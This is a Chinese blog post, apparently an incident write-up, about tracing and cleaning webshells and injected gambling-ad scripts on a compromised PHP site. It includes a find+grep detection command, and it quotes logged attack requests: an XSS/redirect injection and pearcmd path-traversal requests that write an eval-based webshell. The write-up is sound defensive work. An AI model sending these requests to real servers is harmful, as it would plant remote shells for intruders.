排查php网站中的webshell

起因

因为客户收到云服务厂商通知说某个网站被挂了webshell,所以需要排查一下。

方法

用如下命令:

find . -mtime -60 -type f -name *.php -exec grep -l eval {} \;

找一下最近更新过的PHP文件里包含eval等语句的,这种一般都很可疑。除了eval,还有base64_decode之类的,也是用来放一些可疑代码用,都可以搜一下。

搜出来四个文件,其中两个代码一样,另一个不太一样,还有一个直接就是二进制文件,一看就都不是好东西。

因为代码有一些混淆和加密,人肉看太累,于是把关键的代码片断放到AI里去分析,结果AI一眼就看出来都是webshell,还就已知的部分分析出其相应功能。

现在的问题就是不知道这些代码是怎么传上来的,还得把漏洞补上才行。

接下来就是发现人家黑上来是为了挂博彩广告,然后就是修代码。

大部分是在index.html里插入脚本,特点是这句:

<script type="text/javascript"> var xt = String.fromCharCode(0,60,xxxx,62); document.write(xt);
</script>

有些php文件里也被加了这些广告代码。也用find+grep搜一下看。

结论就是不要网上随便下载代码就拿来部署,要代码审计一下。

可能的攻击方式

从请求日志里看到一些可疑的东西,比如:

GET /?a%5B%5D=%3Ca+href%3Dhttps://j-----2.com/20250131-15/research/je-tall-sf-marketing-(327).html%3E%E6%8C%89%E6%91%A9%E5%B8%AB%E8%AD%89%E7%85%A7%E7%8F%AD%3C/a%3E%3Cmeta+http-equiv%3Drefresh+content%3D0;url%3Dhttps://filedn.eu/l------b/marketing-361/research/je-tall-sf-marketing-(134).html+/%3E

AI说这可能涉及 恶意URL注入 或 XSS(跨站脚本攻击) 尝试。

另一些就更严重了:

GET /public/index.php?+config-create+/<?=@eval($_REQUEST['cmd'])?>+/var/www/html/shell.php&lang=../../../../../../../../usr/local/lib/php/pearcmd
GET /public/index.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd%26%2Bconfig-create%2B%2F%3C%3F%3D%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%3F%3E%2B%2Fvar%2Fwww%2Fhtml%2Fshell.php

AI说这是一个典型的 远程代码执行(RCE)攻击尝试,目标是利用 PHP应用程序的漏洞 来上传一个WebShell(恶意PHP脚本)。

赶紧把pearcmd给禁用了。

推送到[go4pro.org]